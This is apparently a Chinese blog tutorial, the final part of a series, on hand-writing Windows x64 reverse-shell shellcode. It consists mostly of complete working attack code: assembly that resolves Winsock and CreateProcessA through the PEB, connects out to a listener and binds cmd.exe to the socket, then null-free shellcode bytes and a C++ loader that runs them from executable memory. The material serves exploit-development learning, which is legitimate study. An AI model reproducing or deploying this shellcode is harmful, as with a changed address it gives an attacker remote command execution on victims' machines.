大数跨境
0
0

x64汇编与 shellcode 入门教程 07

x64汇编与 shellcode 入门教程 07 CppGuide
2025-12-11
2

这是这个系列文章的第七篇,也是最后一篇,这段旅程很有趣,但我们已经到达了目的地,是时候结束我们的汇编与shellcode编程入门课程。前面几篇在这里:

x64汇编与shellcode入门教程 01

x64汇编与 shellcode 入门教程 02

x64汇编与 shellcode 入门教程 03

x64汇编与 shellcode 入门教程 04

x64汇编与 shellcode 入门教程 05

x64汇编与 shellcode 入门教程 06

我同时也将这个系列更新在cppguide.cn站点,访问地址(请复制到浏览器中访问):

https://cppguide.cn/pages/windows-x64-shellcode-from-scratch/



今天,我们将专注于用纯x64汇编编写一个反向shell,并辅以无空字节的shellcode来结束本系列。这有点像期末考试,这是一个综合实战案例,看看你到目前为止学到了什么😃,说实话,如果今天的内容看起来有点难懂,我不会扣你的分。一个基于x64汇编的反向shell需要很多API,以及对x64汇编概念全面扎实的理解。今天的代码很长,但我特意进行了调整,让你可以轻松跟上进度,不会感到头疼。

以熟悉的x64汇编为开端

BITS 64
SECTION .text
global main
main:
sub rsp, 0x28                       ; stack alignment
and rsp, 0xFFFFFFFFFFFFFFF0         ; stack alignment
xor rcx, rcx                        ; RCX = 0
mov rax, [gs:rcx + 0x60]            ; RAX = PEB
mov rax, [rax + 0x18]               ; RAX = PEB->Ldr
mov rsi,[rax+0x10]                  ; PEB.Ldr->InLoadOrderModuleList
mov rsi, [rsi]
mov rsi,[rsi]
mov rbx, [rsi+0x30]                 ; kernel32.dll base address
mov r8, rbx                         ; mov kernel32.dll base addr into r8
mov ebx, [rbx+0x3C]                 ; Get Kernel32 PE Signature (offset 0x3C) into EBX
add rbx, r8                         ; Add signature offset to kernel32 base. Store in RBX.
xor rcx, rcx                        ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff                      ; cx is the lower 16 bit portion of ecx (32 bit), and rcx is 64 bit.
shr rcx, 0x8                        ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx]                  ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8                         ; RDX = kernel32.dll + RVA ExportTable = ExportTable Address
mov r10d, [rdx+0x14]                ; Number of functions
xor r11, r11                        ; Zero R11 before use
mov r11d, [rdx+0x20]                ; AddressOfNames RVA
add r11, r8                         ; AddressOfNames VMA
mov rcx, r10                        ; store number of functionsfor future use
mov rax, 0x9090737365726464         ; 'ddress'
shl rax, 0x10                       ; 7373657264640000
shr rax, 0x10                       ; 0000737365726464 terminate our string w/ no nulls present in our shellcode!
push rax
mov rax, 0x41636F7250746547         ; 'GetProcA '
push rax
mov rax, rsp

我得说,今天我们代码的这部分至少对你来说应该很熟悉😺。这部分改动不大,因为我们总是要遍历PE导出表来查找函数。我只多添加了一行代码,就是将GetProcAddress字符串压入栈中,以便在代码的下一部分进行函数名查找循环时引用。

函数名查找

findfunction:                       ; Loop over Export Address Table to find WinApi names
    jecxz FunctionNameNotFound      ; Loop around this function until we find WinExec
    xor ebx,ebx                     ; Zero EBX for use
    mov ebx, [r11+rcx*4]            ; EBX = RVA for first AddressOfName
    add rbx, r8                     ; RBX = Function name VMA / add kernel32 base address to RVA and get WinApi name
    dec rcx                         ; Decrement our loop by one, this goes from Z to A
    ; Load first 8 bytes of "GetProcA"
    mov r9, qword [rax]             ; R9 = "GetProcA"
    cmp [rbx], r9                   ; Compare first 8 bytes
    jnz findfunction                ; If not equal, continue loop
    ; Check next part for"ddress" (4 bytes)
    mov r9d, dword [rax + 8]        ; R9 = "ddress"
    cmp [rbx + 8], r9d              ; Compare remaining part
    jz FunctionNameFound            ; If match, function found
 jnz findfunction
FunctionNameNotFound:
    int3
FunctionNameFound:
    push rcx
    pop r15                         ; GetProcAddress position in Function Names
    inc r15   
    xor r11, r11
    mov r11d, [rdx+0x1c]            ; AddressOfFunctions RVA
    add r11, r8                     ; AddressOfFunctions VMA in R11. Kernel32+RVA for addressoffunctions
    mov eax, [r11+r15*4]            ; Get the function RVA.
    add rax, r8                     ; Found the GetProcAddress WinApi!!!
    push rax                        ; push GetProcAddress temporarily to be used by next segment

我真的应该在本系列之前的帖子中把这部分解释得更清楚。不过,迟做总比不做好😆 我们在这里要做的是获取RCX(即函数数量),并递减该值,直到找到我们要找的函数:GetProcAddress

我们在这里也耍了点小聪明。我们要找的是API名称的前8个字节。实际上,更简单的理解是,它确实就是所讨论字符串的前8个字符。所以,在这种情况下,就是GetProcA。一旦我们找到这个值,我们就会查找接下来的4个字符/字节,这里使用的是DWORD类型。那部分就是ddre。所以总的来说,我们要找的就是这个字符串:GetProcAddre,并且假设如果我们的字符串比较成功,那么我们就找到了GetProcAddress。我之所以这么做,是因为如果我进行两次QWORD比较,第二次比较会包含不属于我们字符串的数据。为什么呢?因为ddress,也就是我们这个API字符串(GetProcA)的后半部分,有6个字符,也就是6个字节。而栈是8字节的,剩下的2个字节会包含无用数据。

这对大多数函数都适用,不过,有些函数的效果并不理想,例如CreateProcess。CreateProcess可以是CreateProcessA,也可以是CreateProcessW。一个用于ASCII编码,另一个用于宽字符编码。这都无关紧要,只是想让你知道这种函数名查找方法并非完美无缺。这是一种快速简便的函数查找方法,无需使用大量代码。相信我,我们可以尽可能精简代码。

一旦找到GetProcAddress,我们就将其存储在RAX中。继续!

定位LoadLibraryA地址

; Prepare arguments for getting q handle to LoadLibraryA:
    pop r15                         ; temporary use
    mov r12, r15                    ; save copy of GetProcAddress for future use
    mov rdi, r8                     ; make a copy of kernel32 base address for future use
    mov rcx, r8                     ; RCX = handle to kernel32.dll (first argument)
; Load "LoadLibraryA" onto the stack
    mov rax, 0x41797261             ; aryA, 0 (include null byte)
    push rax
    mov rax, 0x7262694C64616F4C     ; LoadLibr 
    push rax
    mov rdx, rsp                    ; RDX points to "LoadLibraryA" (second argument)
    sub rsp, 0x30                   ; decimal 48 ( 3 x 16 bytes)
    call r15                        ; Call GetProcAddress
    add rsp, 0x30
    mov r15, rax                    ; holds LoadLibraryA!

;Okay, let's make some notes on our current register values
;==========================================================
;r15 = LoadLibraryA
;rdi = Kernel32
;r12 = GetProcAddress

这部分相当简单明了。我们将kernel32作为第一个参数传入,将LoadLibraryA作为第二个参数传入GetProcAddress

我们确实只是按照微软的文档填写这个API。

FARPROC GetProcAddress(
  [in] HMODULE hModule,
  [in] LPCSTR  lpProcName
);

找到ExitProcess地址

;exitprocess
    mov r9, r12                      ; r9 temporarily holds GetProcAddress handle
    mov rcx, rdi                     ; RCX = handle to kernel32.dll (first argument)
    ; Load "ExitProcess" onto the stack
    mov rax, 0x90737365              ; 'ess'
    shl eax, 0x8                     ; 0000000073736500
    shr eax, 0x8                     ; 0000000000737365 terminate our string w/ no nulls present in our shellcode!
    push rax
    mov rax, 0x636F725074697845      ; ExitProc 
    push rax
    mov rdx, rsp                     ; RDX points to "ExitProcess" (second argument)
    sub rsp, 0x30
    call r9                          ; Call GetProcAddress
    add rsp, 0x30
    mov rbx, rax                     ; RBX holds ExitProcess!

开始发现规律了吗?😄 和上一次的API查询一样,只不过这次我们要找的是ExitProcess

找到CreateProcessA的地址

;CreateProcessA
    mov r9, r12                      ; r9 temporarily holds GetProcAddress handle
    mov rcx, rdi                     ; RCX = handle to kernel32.dll (first argument)
    ; Load "CreateProcessA" onto the stack
    mov rax, 0x909041737365636F              ; 'ocessA'
    shl rax, 0x10                     ; 0000000073736500
    shr rax, 0x10                     ; 0000000000737365 terminate our string w/ no nulls present in our shellcode!
    push rax
    mov rax, 0x7250657461657243      ; CreatePr 
    push rax
    mov rdx, rsp                     ; RDX points to "CreateProcessA" (second argument)
    sub rsp, 0x30
    call r9                          ; Call GetProcAddress
    add rsp, 0x30
    mov r13, rax                     ; r13 holds CreateProcessA!

同样的情况,哈哈。我之所以这样写代码,是为了让它尽可能容易理解。到目前为止还不算太糟,对吧?我们继续吧。

找到Ws2_32地址

;ws2_32.dll
    mov rax, 0x90906C6C              ; add "ll" string to RAX
    shl eax, 0x10                    ; 000000006C6C0000
    shr eax, 0x10                    ; 0000000000006C6C
    push rax                         ; push RAX to stack
    mov rax, 0x642E32335F327377      ; Add "ws2_32.d" string to RAX.
    push rax                         ; Push RAX to stack
    mov rcx, rsp                     ; Move a pointer to ws2_32.dll into RCX.
    sub rsp, 0x30
    call r15                         ; Call LoadLibraryA("ws2_32.dll")
    mov r14, rax                     ; holds ws2_32.dll address!!!

寄存器开始被填满了!有太多太多的API需要定位。现在我们开始定位套接字API了。我们大约完成了40%。继续加油干吧!

定位WSAStartup地址

; Prepare arguments for GetProcAddress to load WSAStartup using ws2_32:
    mov rcx, r14                     ; RCX = handle to ws2_32.dll (first argument)
    mov rax, 0x90907075              ; Load "up" into RAX
    shl eax, 0x10                     ; 0000000041786F00
    shr eax, 0x10                     ; 000000000041786F
    push rax
    mov rax, 0x7472617453415357      ; Load "WSAStart" into RAX                  
    push rax
    mov rdx, rsp                     ; RDX points to "WSAStartup" (second argument)
    sub rsp, 0x30
    call r12                         ; Call GetProcAddress
    mov r15, rax                     ; Got WSAStartup!  Let's store it

我们已经获取了WSAStartup,现在还需要再获取几个,这样我们就能终于开始使用这些新获得的部分API了。

找到WSASocketA地址

; Prepare arguments for GetProcAddress to load WSASocketA using ws2_32:
    mov rcx, r14                     ; RCX = handle to ws2_32.dll (first argument)
    mov rax, 0x90904174              ; Load "tA" into RAX
    shl eax, 0x10                     ; 0000000041786F00
    shr eax, 0x10                     ; 000000000041786F
    push rax
    mov rax, 0x656B636F53415357      ; Load "WSASocke" into RAX                  
    push rax
    mov rdx, rsp                     ; RDX points to "WSASocketA" (second argument)
    sub rsp, 0x30
    call r12                         ; Call GetProcAddress
    mov rsi, rax                     ; Got WSASocketA!  Let's store it

还剩一个。再说一次,还不错吧?这一切都只是重复进行API查询。有更简洁的方法可以做到这一点,比如使用函数循环等等。但在我看来,这是教授和理解如何使用x64汇编进行API查询的最简单形式。

定位WSAConnect地址

; Prepare arguments for GetProcAddress to load WSAConnect using ws2_32:
    mov rcx, r14                     ; RCX = handle to ws2_32.dll (first argument)
    mov rax, 0x90907463              ; Load "ct" into RAX
    shl eax, 0x10                    ; 0000000041786F00
    shr eax, 0x10                    ; 000000000041786F
    push rax
    mov rax, 0x656E6E6F43415357      ; Load "WSAConne" into RAX                  
    push rax
    mov rdx, rsp                     ; RDX points to "WSAConnect" (second argument)
    sub rsp, 0x30
    call r12                         ; Call GetProcAddress
    mov rdi, rax                     ; Got WSAConnect!  Let's store it
 
    mov r14, r13                     ; move CreateProcessA out of r13 into r14 for later use
 
;Update #2 - register values
;===========================
;rbx = ExitProcess
;r12 = GetProcAddress
;r14 = CreateProcessA
;r14 = ws2_32
;r15 = WSAStartup
;rsi = WSASocketA
;rdi = WSAConnect

启动WSAStartup

; Call WSAStartup
    xor rcx, rcx
    mov cx, 0x198               ; Defines the size of the buffer that will be allocated on the stack to hold the WSADATA structure
    sub rsp, rcx                ; Reserve space for lpWSDATA structure
    lea rdx, [rsp]              ; Assign address of lpWSAData to RDX - 2nd param
    mov cx, 0x202               ; Assign 0x202 to wVersionRequired as 1st parameter
    sub rsp, 0x28               ; stack alignment
    call r15                    ; Call WSAStartup
    add rsp, 0x30               ; stack alignment

太棒了,我们要开始设置套接字了!现在,有趣的部分开始了……

另外,这是我们正在加载的API:

int WSAStartup(
  [in]  WORD      wVersionRequired,
  [out] LPWSADATA lpWSAData
);

创建一个套接字

; Create a socket 
    xor rcx, rcx           
    mov cl, 2                   ; AF = 2 - 1st param
    xor rdx, rdx          
    mov dl, 1                   ; Type = 1 - 2nd param
    xor r8, r8              
    mov r8b, 6                  ; Protocol = 6 - 3rd param
    xor r9, r9                  ; lpProtocolInfo = 0 - fourth param
    mov [rsp+0x20], r9          ; 0 = 5th param
    mov [rsp+0x28], r9          ; 0 = 6th param
    call rsi                    ; Call WSASocketA 
    mov r12, rax                ; Save the returned socket value
    add rsp, 0x30       

以下是API签名:

SOCKET WSAAPI WSASocketA(
  [in] int                 af,
  [in] int                 type,
  [in] int                 protocol,
  [in] LPWSAPROTOCOL_INFOA lpProtocolInfo,
  [in] GROUP               g,
  [in] DWORD               dwFlags
);

我想指出,这是我们的汇编与 shellcode 系列中,首次出现函数调用传入超过 4 个参数的情况。

以下是此处的内容安排:

  • 第一个参数(RCX)= 2。顺便说一下,CLRCX寄存器的低8位部分。顺序是:RCXECXCXCL
  • 第二个参数(RDX)= 1
  • 第三个参数(r8)= 6。r8br8寄存器中的低8位值。
  • 第4个参数(r9)- 0。

5个参数和第6个参数不会传入寄存器,而是直接进入栈,如下所示:

  • 0x0 = 0 = RCX
  • 0x8 = 8 = RDX
  • 0x10 = 16 = R8
  • 0x18 = 24 = R9
  • 0x20 = 32 = [rsp+0x20] 我们的第5个参数,我们只需将值0传入[rsp+0x20]
  • 0x28 = 40 = [rsp+0x28] 我们的第6个参数,我们只需将值0传入[rsp+0x28]

将我们的套接字连接到目标的主机

; Initiate Socket Connection
    mov r13, rax                ; Store SOCKET handle in r13 for future needs
    mov rcx, r13                ; Our socket handle as parameter 1
    xor rax,rax                 ; rax = 0
    inc rax                     ; rax = 1
    inc rax                     ; rax = 2
    mov [rsp], rax              ; AF_INET = 2
    mov ax, 0x2923              ; Port 9001
    mov [rsp+2], ax             ; our Port
    ;mov rax, 0x0100007F        ; IP 127.0.0.1 (I use virtual box with port forwarding, hence the localhost addr)
    mov rax, 0xFFFFFFFFFEFFFF80 ; 127.0.0.1 encoded with NOT to avoid NULLs
    not rax                     ; decoded value
    mov [rsp+4], rax            ; our IP
    lea rdx,[rsp]               ; Save pointer to RDX
    mov r8b, 0x16               ; Move 0x10 (decimal 16) to namelen
    xor r9,r9             
    push r9                     ; NULL
    push r9                     ; NULL 
    push r9                     ; NULL
    add rsp, 8
    sub rsp, 0x60               ; This is somewhat problematic. needs to be a high value to account for the values pushed to the stack
    sub rsp, 0x60               ; in short, making space on the stack for stuff to get populated after executing WSAConnect
    call rdi                    ; Call WSAConnect

以下是WSAConnect API函数签名:

int WSAAPI WSAConnect(
  [in]  SOCKET         s,
  [in]  const sockaddr *name,
  [in]  int            namelen,
  [in]  LPWSABUF       lpCallerData,
  [out] LPWSABUF       lpCalleeData,
  [in]  LPQOS          lpSQOS,
  [in]  LPQOS          lpGQOS
);

在这里,我们要添加目标机器上监听器的IP和端口。我们还对代码做了一些巧妙处理来避免出现空值,比如对字符串/值进行取反操作等。调用这个API后,你应该能在目标机的netcat或监听代理上看到一个连接!

STARTUPINFOA、CreateProcessA和我们的命令shell(cmd.exe)+ ExitProcess

;prepare for CreateProcessA
    add rsp, 0x30
    mov rax, 0xFF9A879AD19B929C  ; encode cmd.exe using NOT to remove NULL bytes
    not rax                      ; decode cmd.exe
    push rax                      
    mov rcx, rsp                ; RCX = lpApplicationName (cmd.exe)
    ; STARTUPINFOA Structure (I despise this thing)
 ; https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
    push r13                    ; Push STDERROR
    push r13                    ; Push STDOUTPUT
    push r13                    ; Push STDINPUT
    xor rax,rax
    push rax                    ; 8 bytes -> push lpReserved2
    push rax                    ; 8 bytes -> combine cbReserved2 and wShowWindow
    push ax                     ; dwFlags 4 bytes total, first 2 bytes
    mov al, 0x1                 ; STARTF_USESTDHANDLES
    shl eax, 0x8                ; = 0x100 and removes NULL bytes!
    push ax                     ; continuation of the above, last 2 bytes for dwFlags
    xor rax,rax  
    push rax                    ; dwFillAttribute (4 bytes) + dwYCountChars (4 bytes)
    push rax                    ; dwXCountChars (4 bytes) + dwYSize (4 bytes)
    push rax                    ; dwXSize (4 bytes) + dwY (4 bytes)
    push ax                     ; dwX 4 bytes total, first 2 bytes
    push ax                     ; dwX last 2 bytes
    push rax                    ; 8 bytes -> lpTitle
    push rax                    ; 8 bytes -> lpDesktop = NULL
    push rax                    ; 8 bytes -> lpReserved = NULL
    mov al, 0x68                ; total size of structure.  Move it into AL to avoid NULLs
    push rax                    
    mov rdi,rsp                 ; Copy the pointer to the structure to RDI
    ; Call CreateProcessA
    mov rax, rsp                ; Get current stack pointer
    sub ax, 0x4FF               ; Setup space on the stack for holding process info
    dec ax                      ; we're subtracting 0x500 in total but we do it this way to avoid nulls
    push rax                    ; ProcessInfo
    push rdi                    ; StartupInfo -> Pointer to STARTUPINFOA
    xor rax, rax
    push rax                    ; lpCurrentDirectory
    push rax                    ; lpEnvironment
    push rax                   
    inc rax
    push rax                    ; bInheritHandles -> 1
    xor rax, rax
    push rax                    ; hStdInput = NULL
    push rax                    ; hStdOutput = NULL
    push rax                    ; hStdError = NULL
    push rax                    ; dwCreationFlags
    mov r8, rax                 ; lpThreadAttributes            
    mov r9, rax                 ; lpProcessAttributes           
    mov rdx, rcx                ; lpCommandLine = "cmd.exe" 
    mov rcx, rax                ; lpApplicationName              
    call r14                    ; Call CreateProcessA
    ; Clean exit
    xor rcx, rcx                ; move 0 into RCX = 1st parameter
    call rbx                    ; Call ExitProcess

这段代码确实有点让人望而生畏,对吧?我自己花了好久才弄明白。我们先从API开始吧:

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

我在上一篇文章中已经介绍过STARTUPINFOA,所以今天就不再详细赘述了。至于CreateProcessA,我已尽量在各处添加注释,这样你就能了解我们是如何将值传入所需参数并将它们压入栈中的。

好的,让我们编译这个庞然大物,获取我们的shellcode代码,然后得到一个反向shell。

nasm -fwin64 asmsock2.asm NASM-fwin64 asmsocket k2. asm

for i in $(objdump -D asmsock2.obj | grep “^ “ | cut -f2); do echo -n “\x$i” ; done

将生成的shellcode包含到我们的C++程序中。是的,我知道它很大。记住,这只是为了学习目的。

如果我决定开设一门高级x64汇编课程,总有一天我会通过更多的函数查找循环来精简这段shellcode。不过目前我没那么多精力去做啦,哈哈!

#include <windows.h>
#include <iostream>

// Shellcode (as given, formatted for clarity)
unsigned char shellcode[] =
"\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\x8b"
"\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48"
"\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4c\x89\xd1"
"\x48\xb8\x64\x64\x72\x65\x73\x73\x90\x90\x48\xc1\xe0\x10\x48\xc1\xe8\x10\x50\x48\xb8\x47\x65\x74\x50\x72"
"\x6f\x63\x41\x50\x48\x89\xe0\x67\xe3\x20\x31\xdb\x41\x8b\x1c\x8b\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c"
"\x39\x0b\x75\xe9\x44\x8b\x48\x08\x44\x39\x4b\x08\x74\x03\x75\xdd\xcc\x51\x41\x5f\x49\xff\xc7\x4d\x31\xdb"
"\x44\x8b\x5a\x1c\x4d\x01\xc3\x43\x8b\x04\xbb\x4c\x01\xc0\x50\x41\x5f\x4d\x89\xfc\x4c\x89\xc7\x4c\x89\xc1"
"\xb8\x61\x72\x79\x41\x50\x48\xb8\x4c\x6f\x61\x64\x4c\x69\x62\x72\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff"
"\xd7\x48\x83\xc4\x30\x49\x89\xc7\x4d\x89\xe1\x48\x89\xf9\xb8\x65\x73\x73\x90\xc1\xe0\x08\xc1\xe8\x08\x50"
"\x48\xb8\x45\x78\x69\x74\x50\x72\x6f\x63\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd1\x48\x83\xc4\x30\x48"
"\x89\xc3\x4d\x89\xe1\x48\x89\xf9\x48\xb8\x6f\x63\x65\x73\x73\x41\x90\x90\x48\xc1\xe0\x10\x48\xc1\xe8\x10"
"\x50\x48\xb8\x43\x72\x65\x61\x74\x65\x50\x72\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd1\x48\x83\xc4\x30"
"\x49\x89\xc5\xb8\x6c\x6c\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x77\x73\x32\x5f\x33\x32\x2e\x64\x50"
"\x48\x89\xe1\x48\x83\xec\x30\x41\xff\xd7\x49\x89\xc6\x4c\x89\xf1\xb8\x75\x70\x90\x90\xc1\xe0\x10\xc1\xe8"
"\x10\x50\x48\xb8\x57\x53\x41\x53\x74\x61\x72\x74\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x49\x89\xc7"
"\x4c\x89\xf1\xb8\x74\x41\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x57\x53\x41\x53\x6f\x63\x6b\x65\x50"
"\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x48\x89\xc6\x4c\x89\xf1\xb8\x63\x74\x90\x90\xc1\xe0\x10\xc1\xe8"
"\x10\x50\x48\xb8\x57\x53\x41\x43\x6f\x6e\x6e\x65\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x48\x89\xc7"
"\x4d\x89\xee\x48\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x66\xb9\x02\x02\x48\x83\xec\x28\x41"
"\xff\xd7\x48\x83\xc4\x30\x48\x31\xc9\xb1\x02\x48\x31\xd2\xb2\x01\x4d\x31\xc0\x41\xb0\x06\x4d\x31\xc9\x4c"
"\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd6\x49\x89\xc4\x48\x83\xc4\x30\x49\x89\xc5\x4c\x89\xe9\x48\x31"
"\xc0\x48\xff\xc0\x48\xff\xc0\x48\x89\x04\x24\x66\xb8\x23\x29\x66\x89\x44\x24\x02\x48\xc7\xc0\x80\xff\xff"
"\xfe\x48\xf7\xd0\x48\x89\x44\x24\x04\x48\x8d\x14\x24\x41\xb0\x16\x4d\x31\xc9\x41\x51\x41\x51\x41\x51\x48"
"\x83\xc4\x08\x48\x83\xec\x60\x48\x83\xec\x60\xff\xd7\x48\x83\xc4\x30\x48\xb8\x9c\x92\x9b\xd1\x9a\x87\x9a"
"\xff\x48\xf7\xd0\x50\x48\x89\xe1\x41\x55\x41\x55\x41\x55\x48\x31\xc0\x50\x50\x66\x50\xb0\x01\xc1\xe0\x08"
"\x66\x50\x48\x31\xc0\x50\x50\x50\x66\x50\x66\x50\x50\x50\x50\xb0\x68\x50\x48\x89\xe7\x48\x89\xe0\x66\x2d"
"\xff\x04\x66\xff\xc8\x50\x57\x48\x31\xc0\x50\x50\x50\x48\xff\xc0\x50\x48\x31\xc0\x50\x50\x50\x50\x49\x89"
"\xc0\x49\x89\xc1\x48\x89\xca\x48\x89\xc1\x41\xff\xd6\x48\x31\xc9\xff\xd3";

int main() {
    // Allocate executable memory
    void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (exec_mem == nullptr) {
        std::cerr << "Memory allocation failed\n";
        return -1;
    }

    // Copy shellcode to the allocated memory
    memcpy(exec_mem, shellcode, sizeof(shellcode));

    // Create a function pointer to the shellcode
    auto shellcode_func = reinterpret_cast<void(*)()>(exec_mem);

    // Execute the shellcode
    shellcode_func();

    // Free the allocated memory
    VirtualFree(exec_mem, 0, MEM_RELEASE);

    return 0;
}

运行它:


各位,就这样啦!如果你们读到了这里,并且也阅读了这个系列的其他文章,那真是太棒了,干得好!如果你们想了解比这个系列中我所涵盖的更多内容,我很乐意听取你们的想法。

感谢大家关注我的《x64汇编与shellcode入门教程》系列。


声明

本文介绍的内容纯作为编程技术交流,不得用于任何非法用途,否则后果自负,与本号无关。


推荐阅读

银狐远控问题排查与修复——Viusal Studio集成Google Address Sanitizer排查内存问题
银狐远控代码中差异屏幕bug修复
银狐远程屏幕内存优化方法探究
银狐远程软件bug修复记录 第03篇
银狐远程软件 UDP 断线无法重连的bug排查和修复
银狐远程软件代理映射功能优化思路分享
分享一款远程控制软件 —— pcshare
银狐远程软件去后门方法

【声明】内容源于网络
0
0
CppGuide
专注于高质量高性能C++开发,站点:cppguide.cn
内容 1260
粉丝 0
CppGuide 专注于高质量高性能C++开发,站点:cppguide.cn
总阅读289
粉丝0
内容1.3k